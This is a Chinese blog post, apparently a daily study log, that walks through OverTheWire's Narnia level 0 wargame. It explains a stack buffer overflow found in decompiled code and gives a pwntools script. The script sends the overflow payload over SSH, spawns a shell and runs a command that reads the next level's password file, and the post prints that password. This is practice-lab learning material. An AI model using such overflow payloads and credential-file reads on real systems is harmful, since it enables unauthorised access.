170823 WarGames-Narnia(0)

本文介绍了一次针对Narnia0服务的缓冲区溢出攻击实验过程,利用程序漏洞修改内存中的值并成功获得shell权限,最终获取下一关密码。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1625-5 王子昂 总结《2017年8月23日》 【连续第324天总结】
A. Narnia
B.

Level 0

文件在/narnia/中,运行narnia0,提示要将value从0x41414141变为0xdeadbeef
拖下来IDA反编译可知

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int buff; // [sp+18h] [bp-18h]@1
  signed int value; // [sp+2Ch] [bp-4h]@1

  value = 0x41414141;
  puts("Correct val's value from 0x41414141 -> 0xdeadbeef!");
  printf("Here is your chance: ");
  __isoc99_scanf("%24s", &buff);
  printf("buf: %s\n", &buff);
  printf("val: 0x%08x\n", value);
  if ( value != 0xDEADBEEF )
  {
    puts("WAY OFF!!!!");
    exit(1);
  }
  system("/bin/sh");
  return 0;
}

很明显,通过buff的溢出来修改value的值
观察可知buff在sp+18h处,value在sp+2C处
因此构造输入’a’ * (0x2C-0x18) + ‘\xef\xbe\xad\xde’即可

顺便学习了pwntools的使用,它需要linux的环境,因此开了kali虚拟机
OverTheWire都是以SSH方式连接的,因此与直接使用remote不同
conn建立SSH连接后,用run方法开启bash,之后就正常使用了
interactive方法可以将shell交还本地,进行其他动作
不过直接发送cat语句可以更快速地看到结果
pw:

efeidiedae

注释部分为down文件和本地测试的过程

脚本:

#!/usr/bin/python
from pwn import *
# context(arch = 'i386', os = 'linux')
# r = remote('narnia.labs.overthewire.org', 2226)
conn = ssh('narnia0', 'narnia.labs.overthewire.org', 2226, password='narnia0')
# conn.download_file('/narnia/narnia0')
# sh = process('narnia0')
sh = conn.run('sh')
sh.sendline('/narnia/narnia0')
sh.sendline('a' * (0x2c - 0x18) + chr(0xef) + chr(0xbe) + chr(0xad) + chr(0xde))
# sh.interactive()
print(sh.recvrepeat(timeout=5))
sh.sendline('cat /etc/narnia_pass/narnia1')
print(sh.recvrepeat(timeout=5))

C. 明日计划
逆向/NarniaPwn

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值